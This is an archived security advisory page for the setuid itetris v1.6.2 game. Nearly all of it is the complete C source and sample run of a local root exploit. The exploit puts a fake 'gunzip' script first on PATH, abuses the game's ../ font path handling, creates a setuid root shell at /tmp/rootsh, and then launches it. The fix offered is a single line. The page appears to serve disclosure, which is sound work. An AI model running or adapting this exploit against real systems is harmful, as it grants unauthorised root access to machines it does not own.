TUCoPS :: Unix :: General :: xitetris.htm

Vulnerability
 itetris
Affected
 itetris v1.6.2
Description
 Chris Sharp found following. He was auditing some svgalib (suid
 root) programs and noticed itetris had a possibly exploitable
 system(); call... which has since obviously proven exploitable.
 ORIGINAL exploit url below:
 http://realhalo.org/xitetris.c
 Here is the code:
 /* (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org].
 this will give you root on systems that have the itetris game
 installed. the program is installed setuid(0)/root due to svgalib.
 this exploits a system() call mixed with bad ../ protection, which
 makes this possible -- considering it needs a font file to end with
 ".gz" to run gunzip.
 
 ---------------------------------------------------------------------------
 # cc xitetris.c -o xitetris
 # ./xitetris
 [ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. ]
 [*] checking /usr/local/bin/itetris for proper file permissions.
 [*] done, /usr/local/bin/itetris appears to be setuid.
 [*] done, making temporary files.
 [*] done, setting up environment variable(s).
 [*] done, launching /usr/local/bin/itetris. (the screen may blink locally)
 [*] done, cleaning up temporary files.
 [*] done, checking /tmp/rootsh for proper file permissions.
 [*] success! /tmp/rootsh appears to be set*id.
 [?] do you wish to enter the rootshell now(y/n)?: y
 [*] ok, executing rootshell(/tmp/rootsh) now.
 #
 
 ---------------------------------------------------------------------------
 */
 #define PATH
 "/usr/local/bin/itetris" // path to itetris.
 #define APPENDPATH
 "/tmp" // tmp dir to use.
 #define EXECFILE
 "gunzip" // don't change this.
 #define FAKEFILE
 "xitetris.gz" // must end with .gz.
 #define SUIDSHELL
 "/tmp/rootsh" // root shell
 location.
 #include <stdio.h>
 #include <sys/stat.h>
 main(){
 char cmd[256],tmpfile[256],fakefile[256],path[1024],input[0];
 struct stat mod1,mod2;
 FILE *suidexec,*fakegz;
 fprintf(stderr,"[ (*)itetris[v1.6.2] local root exploit, by: v9[v9@fakehalo.org]. ]\n");
 fprintf(stderr,"[*] checking %s for proper file permissions.\n",PATH);
 if(stat(PATH,&mod1)){
 fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
 exit(1);
 }
 else if(mod1.st_mode==35309){
 fprintf(stderr,"[*] done, %s appears to be setuid.\n",PATH);
 }
 else{
 fprintf(stderr,"[!] failed, %s doesn't appear to be setuid.\n",PATH);
 exit(1);
 }
 fprintf(stderr,"[*] done, making temporary files.\n");
 
 snprintf(fakefile,sizeof(fakefile),"%s/%s",APPENDPATH,FAKEFILE);
 
 snprintf(tmpfile,sizeof(tmpfile),"%s/%s",APPENDPATH,EXECFILE);
 
 unlink(fakefile);fakegz=fopen(fakefile,"w");fclose(fakegz);
 unlink(tmpfile);suidexec=fopen(tmpfile,"w");
 fprintf(suidexec,"#!/bin/sh\n");
 fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
 fprintf(suidexec,"chown 0.0 %s\n",SUIDSHELL);
 fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
 fclose(suidexec);
 chmod(tmpfile,33261);
 fprintf(stderr,"[*] done, setting up environment variable(s).\n");
 
 snprintf(path,sizeof(path),"%s:%s",APPENDPATH,getenv("PATH"));
 setenv("PATH",path,1);
 fprintf(stderr,"[*] done, launching %s. (the screen may blink locally)\n",
 PATH);
 sleep(1);
 snprintf(cmd,sizeof(cmd),"%s -VE -F../../../../%s/%s 1>/dev/null 2>&1",PATH,
 APPENDPATH,FAKEFILE);
 system(cmd);
 fprintf(stderr,"[*] done, cleaning up temporary files.\n");
 unlink(fakefile);unlink(tmpfile);
 fprintf(stderr,"[*] done, checking %s for proper file permissions.\n",
 SUIDSHELL);
 if(stat(SUIDSHELL,&mod2)){
 fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",SUIDSHELL);
 exit(1);
 }
 else if(mod2.st_mode==36333){
 fprintf(stderr,"[*] success! %s appears to be set*id.\n",SUIDSHELL);
 }
 else{
 fprintf(stderr,"[!] failed, %s doesn't appear to be set*id.\n",SUIDSHELL);
 exit(1);
 }
 fprintf(stderr,"[?] do you wish to enter the rootshell now(y/n)?: ");
 scanf("%s",input);
 if(input[0]!=0x59&&input[0]!=0x79){
 printf("[*] aborted, the rootshell is: %s.\n",SUIDSHELL);
 }
 else{
 printf("[*] ok, executing rootshell(%s) now.\n",SUIDSHELL);
 execl(SUIDSHELL,SUIDSHELL,0);
 }
 fprintf(stderr,"[*] exiting program successfully.\n");
 exit(0);
 }
Solution
 Should be fixed in new release.